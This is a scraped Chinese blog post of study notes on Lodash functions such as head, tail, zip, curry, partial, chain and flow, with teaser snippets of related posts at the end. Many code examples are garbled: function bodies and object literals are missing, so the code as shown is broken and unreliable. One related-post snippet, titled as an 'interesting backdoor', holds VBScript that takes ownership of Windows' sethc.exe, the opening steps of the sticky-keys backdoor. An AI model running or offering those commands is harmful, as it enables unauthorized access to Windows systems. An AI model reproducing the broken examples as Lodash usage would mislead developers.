Lodash的學習筆記(一)有意思的API

2021-09-19 09:37:10 字數 3766 閱讀 8741

最近在學習js函式式程式設計相關的內容,於是詳細的翻看了lodash的文件,感到別有洞天。這裡把自己對一些api的使用和看法做個筆記記錄下。

例子:

_.head([1, 2, 3]);

// → 1

_.last([1, 2, 3]);

// → 3

分別可以抽取陣列第乙個元素的值和最後乙個元素的值。咋看之下覺得很無聊。但是跟下面兩個結合起來就厲害。

例子:

_.tail([1, 2, 3]);

// → [2, 3]

_.initial([1, 2, 3]);

// → [1, 2]

也如字面描述一般容易理解的函式。但是結合上面的兩個函式就產生很大能量。

首先看乙個針對陣列尾部特殊化處理的例子:

let names=['fred', 'barney', 'pebbles'];

_.initial(names).join(', ') +

(_.size(names) > 1 ? ', & ' : '') + _.last(names);

// → 'fred, barney, & pebbles'

怎麼樣比簡單的寫for+if else優雅很多吧。接著我們來看看遞迴求和:

function sum(arr)
tips

1)其實好像陣列都可以表現為

[a, [b, [c .....]]]
然後再將其扁平化的結果。 是不是?所以結合這四個函式,很多陣列遍歷的操作都可以改寫成遞迴的方式。雖然效能可能略差,但是可讀性反而更強了(並非所有的遞迴都一定損耗效能,詳細可以去了解下jit優化)。

2)但是在es6中,更推薦優先使用陣列的解構。

例子:

_.zip(['fred', 'barney'], [30, 40]);

// → [['fred', 30], ['barney', 40]]

_.zip(*array) 將幾個陣列按照位置組成新的陣列,返回陣列列表。這個方法就有點像sql裡面select兩個列的情況。對重組資料結構非常有幫助。

既然lodash是個函式庫,那有zip肯定也有他的逆運算unzip。這裡就不舉例了。unzip其實可以看作對es6陣列解構的補充,應用的場景也是十分相似的。

這三個函式其實早就名聲在外,就不舉例了。列出來只是為了提醒,遍歷集合可不僅僅只有_.each。任何時候都優先考慮這些函式。

例子:

let users = [

, ];_.every(users, );

// → false

_.some(users, ['active', false]);

// → true

什麼?看不懂?

_.every => && 

_.some => ||

懂了吧。其實同樣也算是對_.each的擴充。還有他們都有條件短路的優化哦。

let abc = function(a, b, c) ;

let curried = _.curry(abc);

curried(1)(2)(3);

// → [1, 2, 3]

curried(1, 2)(3);

// → [1, 2, 3]

curried(1, 2, 3);

// → [1, 2, 3]

// curried with placeholders.

curried(1)(_, 3)(2);

// → [1, 2, 3]

柯里化有3個常見作用:1. 引數復用;2. 構建高階函式;3. 延遲計算。

引數復用的例子:

let parse = function(data, config);

let config = {};

let parsebyconfig = _.curryright(parse)(config);

如**所示,這是乙個資料解析函式,通過某些配置按照一定的規則去解析資料。如果在某個場景下引數配置都一樣。那可以用柯里化先引入乙個引數。然後再接收不同的資料。這樣就不用在每次呼叫時都引入同樣的config引數。

剩下兩個特性乙個等會講,乙個不在本文討論範圍內。

部分函式,我習慣這麼叫他,還是先看例子。

let greet = function(greeting, name) ;

let sayhelloto = _.partial(greet, 'hello');

sayhelloto('fred');

// → 'hello fred'

let greetfred = _.partial(greet, _, 'fred');

greetfred('hi');

// → 'hi fred'

let greet = function(greeting, name) ;

let sayhelloto = _.partial(greet, 'hello');

sayhelloto('fred');

// → 'hello fred'

let greetfred = _.partial(greet, _, 'fred');

greetfred('hi');

// → 'hi fred'

好像跟柯里化很像。是的,它其實就是柯里化的具體應用——構建高階函式。_.curry會把乙個函式轉化成可以柯里化函式,而當這個柯里化函式接受了一定的引數後,它就變成了乙個部分應用函式了。

這個是我認為的lodash中最有意思的方法。

$('div').css('color','red')

.on('click', function(){})

.fadein();

作為乙個合格的前端攻城獅,你對這個一定不陌生。它一定給你帶來過很多美好的記憶。那我們如何讓這樣一段優雅的**應用到非dom物件上呢。用_.chain就行了。

_.head(

_.map(

_.sortby('users', 'age'),

function(o) is $`;})

) _.chain(users)

.sortby('age')

.map(function(o) )

.head()

.value();

兩段**在做一樣的事情。你更喜歡哪個呢。不過要注意_.chain最後的value。因為_.chain用乙個容器包裝了你的物件,最後需要通過value返回出真正的值。如果不能理解,聯想一下下面這段**:

$('div')[0].classlist
用jquery選擇器篩選到的是jquery物件,而如果要呼叫真正的dom物件的屬性的話,還要用索引去呼叫它。

function square(n) 

var addsquare = _.flow(_.add, square);

addsquare(1, 2);

// → 9

這同樣是用來組合高階函式的乙個方法。如果用數學的角度去思考的話,就有點像, 把函式 f(), g(), 和h() 組合起來可以得到復合函式 f( g( h() ) )。

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...

有意思的number format

申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...

有意思的遞迴

先來乙個入門的 上初中學習數列求和什麼的時候我們就學過高斯的計算1到100的自然數的和的經典課文,那麼如果我們現在用程式的話該怎麼來做呢?自然是迴圈來做這件事。如果不用迴圈怎麼做呢?def sum first,end if end 1 return first elif end 1 return s...